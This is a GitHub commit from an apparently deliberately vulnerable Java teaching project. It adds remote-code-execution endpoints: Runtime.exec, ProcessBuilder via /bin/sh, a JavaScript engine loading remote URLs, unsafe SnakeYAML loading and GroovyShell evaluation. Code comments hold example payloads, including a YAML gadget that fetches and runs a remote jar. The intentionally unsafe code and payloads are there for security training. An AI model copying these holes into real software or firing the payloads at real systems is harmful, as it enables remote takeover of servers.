Skip to content

Commit 1f9da36

Browse files
committed
add rce
1 parent bb94a99 commit 1f9da36

File tree

5 files changed

+117
-5
lines changed

5 files changed

+117
-5
lines changed

README.md

+6-1
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ This project can also be called Java vulnerability code.
1111

1212
Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments.
1313

14-
[Online demo](http://118.25.15.216:8080)
14+
Due to the server expiration, the online demo site had to go offline.
1515

1616
Login username & password:
1717

@@ -40,6 +40,11 @@ Sort by letter.
4040
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
4141
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
4242
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
43+
- Runtime
44+
- ProcessBuilder
45+
- ScriptEngine
46+
- Yaml Deserialize
47+
- Groovy
4348
- [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java)
4449
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
4550
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)

README_zh.md

+6-1
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。
1212

13-
[在线Demo](http://118.25.15.216:8080)
13+
由于服务器到期,在线的Demo网站已不能使用。
1414

1515
登录用户名密码:
1616

@@ -35,6 +35,11 @@ joychou/joychou123
3535
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
3636
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
3737
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
38+
- Runtime
39+
- ProcessBuilder
40+
- ScriptEngine
41+
- Yaml Deserialize
42+
- Groovy
3843
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
3944
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
4045
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)

java-sec-code.iml

+4-1
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,6 @@
4141
<orderEntry type="library" name="Maven: org.slf4j:jcl-over-slf4j:1.7.22" level="project" />
4242
<orderEntry type="library" name="Maven: org.slf4j:jul-to-slf4j:1.7.22" level="project" />
4343
<orderEntry type="library" name="Maven: org.slf4j:log4j-over-slf4j:1.7.22" level="project" />
44-
<orderEntry type="library" scope="RUNTIME" name="Maven: org.yaml:snakeyaml:1.17" level="project" />
4544
<orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-tomcat:1.5.1.RELEASE" level="project" />
4645
<orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-core:8.5.11" level="project" />
4746
<orderEntry type="library" name="Maven: org.apache.tomcat.embed:tomcat-embed-el:8.5.11" level="project" />
@@ -216,5 +215,9 @@
216215
<orderEntry type="library" name="Maven: org.mapstruct:mapstruct:1.2.0.Final" level="project" />
217216
<orderEntry type="library" name="Maven: io.springfox:springfox-swagger-ui:2.9.2" level="project" />
218217
<orderEntry type="library" scope="PROVIDED" name="Maven: org.projectlombok:lombok:1.18.16" level="project" />
218+
<orderEntry type="library" name="Maven: org.yaml:snakeyaml:1.21" level="project" />
219+
<orderEntry type="library" name="Maven: org.springframework:spring-test:4.3.6.RELEASE" level="project" />
220+
<orderEntry type="library" name="Maven: junit:junit:4.12" level="project" />
221+
<orderEntry type="library" name="Maven: org.hamcrest:hamcrest-core:1.3" level="project" />
219222
</component>
220223
</module>

pom.xml

+15
Original file line numberDiff line numberDiff line change
@@ -256,6 +256,21 @@
256256
<scope>provided</scope>
257257
</dependency>
258258

259+
<dependency>
260+
<groupId>org.yaml</groupId>
261+
<artifactId>snakeyaml</artifactId>
262+
<version>1.21</version>
263+
</dependency>
264+
265+
<dependency>
266+
<groupId>org.springframework</groupId>
267+
<artifactId>spring-test</artifactId>
268+
</dependency>
269+
270+
<dependency>
271+
<groupId>junit</groupId>
272+
<artifactId>junit</artifactId>
273+
</dependency>
259274

260275
</dependencies>
261276

src/main/java/org/joychou/controller/Rce.java

+86-2
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,21 @@
11
package org.joychou.controller;
22

3+
import groovy.lang.GroovyShell;
34
import org.springframework.web.bind.annotation.GetMapping;
45
import org.springframework.web.bind.annotation.RequestMapping;
56
import org.springframework.web.bind.annotation.RestController;
7+
import org.yaml.snakeyaml.Yaml;
8+
import org.yaml.snakeyaml.constructor.SafeConstructor;
69

10+
import javax.script.Bindings;
11+
import javax.script.ScriptContext;
12+
import javax.script.ScriptEngine;
13+
import javax.script.ScriptEngineManager;
714
import java.io.BufferedInputStream;
815
import java.io.BufferedReader;
916
import java.io.InputStreamReader;
1017

18+
1119
/**
1220
* Java code execute
1321
*
@@ -17,7 +25,7 @@
1725
@RequestMapping("/rce")
1826
public class Rce {
1927

20-
@GetMapping("/exec")
28+
@GetMapping("/runtime/exec")
2129
public String CommandExec(String cmd) {
2230
Runtime run = Runtime.getRuntime();
2331
StringBuilder sb = new StringBuilder();
@@ -40,9 +48,85 @@ public String CommandExec(String cmd) {
4048
inBr.close();
4149
in.close();
4250
} catch (Exception e) {
43-
return "Except";
51+
return e.toString();
52+
}
53+
return sb.toString();
54+
}
55+
56+
57+
/**
58+
* http://localhost:8080/rce/ProcessBuilder?cmd=whoami
59+
* @param cmd cmd
60+
*/
61+
@GetMapping("/ProcessBuilder")
62+
public String processBuilder(String cmd) {
63+
64+
StringBuilder sb = new StringBuilder();
65+
66+
try {
67+
String[] arrCmd = {"/bin/sh", "-c", cmd};
68+
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
69+
Process p = processBuilder.start();
70+
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
71+
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
72+
String tmpStr;
73+
74+
while ((tmpStr = inBr.readLine()) != null) {
75+
sb.append(tmpStr);
76+
}
77+
} catch (Exception e) {
78+
return e.toString();
4479
}
80+
4581
return sb.toString();
4682
}
83+
84+
85+
/**
86+
* http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
87+
*
88+
* curl http://xx.yy/zz.js
89+
* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
90+
*
91+
* @param jsurl js url
92+
*/
93+
@GetMapping("/jscmd")
94+
public void jsEngine(String jsurl) throws Exception{
95+
// js nashorn javascript ecmascript
96+
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
97+
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
98+
String cmd = String.format("load(\"%s\")", jsurl);
99+
engine.eval(cmd, bindings);
100+
}
101+
102+
103+
/**
104+
* http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
105+
* yaml-payload.jar: https://github.com/artsploit/yaml-payload
106+
*
107+
* @param content payloads
108+
*/
109+
@GetMapping("/vuln/yarm")
110+
public void yarm(String content) {
111+
Yaml y = new Yaml();
112+
y.load(content);
113+
}
114+
115+
@GetMapping("/sec/yarm")
116+
public void secYarm(String content) {
117+
Yaml y = new Yaml(new SafeConstructor());
118+
y.load(content);
119+
}
120+
121+
/**
122+
* http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
123+
* @param content groovy shell
124+
*/
125+
@GetMapping("groovy")
126+
public void groovyshell(String content) {
127+
GroovyShell groovyShell = new GroovyShell();
128+
groovyShell.evaluate(content);
129+
}
130+
47131
}
48132

0 commit comments

Comments
 (0)